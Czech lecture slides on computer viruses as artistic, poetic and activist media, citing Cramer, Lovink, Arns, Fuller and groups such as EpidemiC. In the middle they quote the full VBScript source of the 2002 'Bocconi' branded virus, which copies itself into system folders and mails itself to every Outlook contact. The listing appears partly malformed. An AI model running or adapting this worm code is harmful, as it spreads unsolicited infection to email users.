

Virus jako řečový akt II

if time had stopped,
and

if someone had
known, really
known what would happen
the world would have



0101010

I will
draw it

send

Využití algoritmu v umění

- Využití algoritmu v umění, není něco, co přišlo až nyní, rozvíjí se již od počátku 20. století
- Dadaismus - poetický návod Tristana Tzary - Jak složit dadaistickou báseň
- Man Ray – surrealistický objekt – Object of Destruction- návod na jeho sestavení a také zničení



- **Konceptuální umění a software**
- **výstava Software (1968) - Jack Burnham**



- vzájemné korespondence mezi softwarovým uměním a konceptuálním uměním
- konceptuální umění staví do popředí plán díla, jeho notaci, myšlenku
- software art staví do popředí svou kódovanost a instrukce, které řídí jeho fungování

- La Monte Young - Composition 60

**Composition 1960 #10
to Bob Morris**

**Draw a straight line
and follow it.**

October 1960

- **Fluxus**
- Obliba nejrůznějších návodů k provedení díla – záměrně neúplné instrukce (prostor pro fantazii)
- Bertold Brecht - Exit

- Software představuje rozšířenou kulturní praxi zasahující všechny oblasti našeho života, jejíž dlouhá a bohatá historie nezačíná vynálezem počítače
- Cramer, Florian. Concepts, Notations, Software, Art. [online] 2002 [cit. 22. dubna 2016] Dostupné z http://www.netzliteratur.net/cramer/concepts_notations_software_art.html.

Virus jako modlitba

- Florian Kramer. Buffer Overflows: Subverting Network Codes in Computational Art.
- analýza anonymního literárního díla ze 17. století
- vykazuje podobné znaky jako počítačový virus
- manuskript s modlitbou - slova použita v prvním verši variována ve všech následujících řádcích: „Ať zde zavládne klid, dej nám mír v těchto časech, žádám tě můj pane.“

- Tento text je třemi věcmi zároveň – modlitbou, moderním komputačním algoritmem a básní
- Poselství míru se šíří mezi věřícími jako virus
- „...poetický virus nešíří poselství lásky, ale míru, s nadějí, že skrze jeho multiplikace a virální mutace, věřící může být vyslyšen Bohem a zároveň jej šířit jako mírové zaklínadlo mezi lidmi. Zahlcení komunikační sítě zde není fyzické jako v případě moderního internetu, ale metafyzické.“
- Florian Cramer

Dílo BLACK - Barbora Trnková a Tomáš Javůrek (2012-2014)

- <https://www.youtube.com/watch?v=nEbxNqvtsEU>
- <http://black.metazoa.org/>
- <http://black.metazoa.org/tool/>
- <http://black.metazoa.org/voice/>

Virus jako aktivistický nástroj

- **Slovo jako zbraň**
- v posledních letech se virus stává účinnou zbraní ve vojenských konfliktech, vystupuje v úloze tajného agenta
- Stuxnet (2010) - <https://vimeo.com/25118844>
- Flame (2012)

- **Virus jako taktické médium**
- Geert Lovink. The ABC of Tactical Media.
- s příchodem levných médií , která umožňují participaci a komunikaci dochází k proměně aktivistických praktik
- důraz na decentralizaci a mobilitu
- virus představuje ideální taktické médium

- **Virus jako šum v dominantním signálu**
- Leah A. Lievrouw. *Oppositional and Activist New Media: Remediation, Reconfiguration, Participation.*
- Současná aktivistická hnutí využívají bohaté spektrum nejrůznějších praktik, které sdílejí společné znaky
-
- **a) Culture Jamming**
- **b) Alternative Computing**

- Jednou z hlavních činností aktivistických hnutí je vnášení šumu do dominantního signálu a právě počítačový virus díky svým vlastnostem může výborně naplnit tento záměr
- Joseph Nechvatal – Computer Virus Project – kritika spektaklu –
- <https://www.youtube.com/watch?v=up29Rc-ksfM>

- **Virus jako únik z komodifikace?**
- „Nikdo se nebude chlubit novým druhem digitální nakažlivé choroby.“ EpidemíC
- skupina EpidemíC – z viru nelze učinit zboží, vhodný nástroj ke kritice trhu s uměním
- Bocconi virus (2002) - hravá mystifikace, první brand virus


```
rem bocconi.vbs
rem Bocconi University Branded-Virus
rem [epidemic]
    Set dowjones = CreateObject("Scripting.FileSystemObject")
    Set mib = WScript.CreateObject("WScript.Shell")
    Set nikkei = mib.SpecialFolders
    main()
sub main
    selfimprovement
    brandmanagement
end sub
sub brandmanagement
    Set hangseng = CreateObject("WScript.Shell")
    Set nikkei = hangseng.SpecialFolders
    brandedvirus = nikkei("Startup") & "\bocconi.txt"
    set nasdaq = dowjones.createtextfile(brandedvirus)
    nasdaq.write(brand)
end sub
sub selfimprovement
    Set credit = dowjones.GetSpecialFolder(1)
    Set marketing = dowjones.GetFile(WScript.ScriptFullName)
    marketing.Copy(credit & "\bocconi.vbs")
    Set account = CreateObject("Outlook.Application")
    If account = "Outlook" Then
        Set Mapi = account.GetNameSpace("MAPI")
        Set emergingmarkets = Mapi.AddressLists
        For Each consumer In emergingmarkets
            If consumer.AddressEntries.Count <> 0 Then
                equity = consumer.AddressEntries.Count
                For prices = 1 To equity
                    Set bocconi = account.CreateItem(0)
                    Set MIT = consumer.AddressEntries(prices)
                    bocconi.To = MIT.Address
                    bocconi.Subject = "Bocconi University Branded-Virus"
                    bocconi.Body = vbcrLf & "Bocconi University http://www.uni-bocconi.it" & vbcrLf
                    bocconi.Attachments.Add(credit & "\bocconi.vbs")
                    bocconi.DeleteAfterSubmit = True
                    If bocconi.To <> "" Then
                        bocconi.Send
                    End If
                Next
            End If
        Next
    End If
Next
End If
Next
End if
end sub
function brand()
brand = brand&" ,oooooooooooooooooooo,
brand = brand&" ]8QBQBQ[ 'BBBBB&o
brand = brand&" ]BBBBBB[ 'MBBBBQ,
brand = brand&" ]BBBBBB[ ]QBBBBBr
brand = brand&" ]BBBBBB[ <QBBBBB[
brand = brand&" ]BBBBBB[ ]8BBBBB~
brand = brand&" ]BBBBBB[ dBBBBB^ ,oooo, ,oooo, ,oooo_ ,oooo_ ,oooo_ ,o, ,oooo_ -oo
brand = brand&" ]BBBBBB[ ,dB@B^ ,odQB' 'BBbo ,odQP^ 'Mf, ,odQP^ '9Bf, ,aQBP^ '9QBo, ^^'BBBBB[ oYBBBHBQQSh `^^!BBBBQB
brand = brand&" ]BBBBBBF^^^9QQ&ooo, ,BQQE[ ]QBBo oBBBQ ,dBBBr ,BQBP ,dBBBr ,dQQQ@ BBQBb BBBBbBp 'BBBBB =QBBBB
brand = brand&" ]BBBBBB[ BQQQBh, dBBBBB[ =QBBBBb dBQBF ]BBBBB[ dBBBB[ ]QBBBBF ,QBBBBB BBBBQ, BBBBbBp BBBBb =QBBBB
brand = brand&" ]BBBBBB[ 'BBBBB$ }OBBBBB[ =BBBBBr dQBBB[ YBBP^ dQBBB[ 9QBBP^ BBBBbC BBBBb$ QBBBBB[ BBBBb =QBBBB
brand = brand&" ]BBBBBB[ ]QBBBBQ_ JQBBBBB[ =BBBBBQ ,QBBBBB[ ]8BBBBB[ ]BBBBBc BBBBbB 'BBBBB[ BBBBb =QBBBB
brand = brand&" ]BBBBBB[ ]BBBBBB[ 3BBBBB[ =BBBBBm 'BBBBB[ ]DBBBB[ ]DBBBBc BBBBbB' QBBBBB[ BBBBb =QBBBB
brand = brand&" ]BBBBBB[ ]BBBBBB~ }QBBBBB[ =BBBBBF BBBBb[ 'BBBBB[ 'QBBBBBc BBBBbQ BBBBbB 'BBBBB[ BBBBb =QBBBB
brand = brand&" ]BBBBBB[ dQBBBBBF 9QBBBB[ =BBBBP 'BBBBk 'BBBBB[ d 'QBBBc BBBBb^ BBBBb[ BBBBb =QBBBB
brand = brand&" ]BBBBBB[ jQBBBp~ YQBB[ ]BBBY '9BBB -d^ '9BBa -d^ '9BBa BBBBp^ BBBBb[ BBBBb =QBBBB
brand = brand&" ]BBBBBB[ ooQBBPB' BMB, ,BBB^ 'YBb, ,oB' '9QBb_ ,aB '9QB& ,dQBp~ QBBBBB[ BBBBb =QBBBB
brand = brand&" 'BBBBBBBBBBBBBBBD' 'CBBBBBd^ 'CBBBBBd^ 'CBBBBBd^ 'CBBBBBd^ 'CBBBBBd^ 'BBBBBBBBBBB 'BBBBBBBBB^ 'BBBBBBBBB^ "
end function
```

- mimo umělecký svět byl virus komodifikován – prodej antivirových programů
- kapitalismus vytváří permanentní imaginární hrozbu - varování před virem
- Počítačový virus může být vhodným kritickým nástrojem, který tvoří protiváhu vůči dominantním strategiím tržního kapitalismu

- **Počítačové viry v roli aktivistů**
- subverzivní, politický či revoluční subjekt může delegovat svůj akční potenciál na digitální objekt: virus
- virus může napodobit určitý proces
- potenciál přesvědčovat, uvádět argumenty

- digitální virovou infekci lze nahlížet jako komplexní komunikační proces, během něhož probíhá výměna informací mezi virem, jiným softwarem a uživatelem - Ludovico, Alessandro. Infection as Communication
- pokud chtějí aktivisté naplno využít aktivistický potenciál viru, musí si osvojit spíše abstraktní (algoritmické) a lingvistické chování tohoto objektu

- Příklad: dílo Forkwar – skupina - deprogramming
- Přirovnávají zde princip fungování forkbomb k chování cizinecké policie
- Politický rozměr

Počítačový virus jako nástroj k odhalení ideologické dimenze softwaru

- Inke Arns - Read_me, run_me, execute_me. Code as Executable Text: Software Art and its Focus on Program Code as Performative Text.
- Pracuje s pojmem – **postoptické nevědomí**
- postoptické nevědomí zaměřeno na práci neviditelného kódu
- postoptické nevědomí skryté za grafickým interfacem – ideologické operace kódu, manipulace uživatele

- Matthew Fuller-Andrew Goffey. Towards an Evil Media Studies.
- Složitá síť médií a jejich operací, které nám unikají – šedý software
- stratagemata - strategie digitálních médií, které spočívají v oklamání, manipulaci či přesvědčování uživatele
- zlým médiem může být jakékoliv médium
- Počítačový virus jako pomocník při hledání stratagemat

- DownJones - dílo skupiny Epidemic
- demonstruje efektivitu s jakou může pracovat softwarový agent, kterého nevidíme
- jazykový virus
- <http://epidemic.ws/downjones/index.php>

- Virus [phage] - 2000 - Mary Flanagan a Chris Egert

<https://vimeo.com/15781676>



Nemoderní digitální kód

- Denisa Kera - Software and cosmopolitics: code as the language of the new Constitution
- Software - signifikantní síla, která vytváří hybridní kolektivy
- kód zprostředkovává spojení mezi lidmi a stroji
- Idea parlamentu kódů

Moderní x nemoderní kód - shrnutí

- **Moderní**
- kód popisován jako abstraktní, oddělený od fyzického světa a kultury
- instrumentální charakter kódu
- čistě technologický jazyk
- **Nemoderní**
- kód vždy operuje v konkrétním kontextu
- hledání poetických vlastností kódu
- zasazení kódu do širšího kulturního rámce
- propojuje sféru společnosti, jazyka (diskurzu) a přírody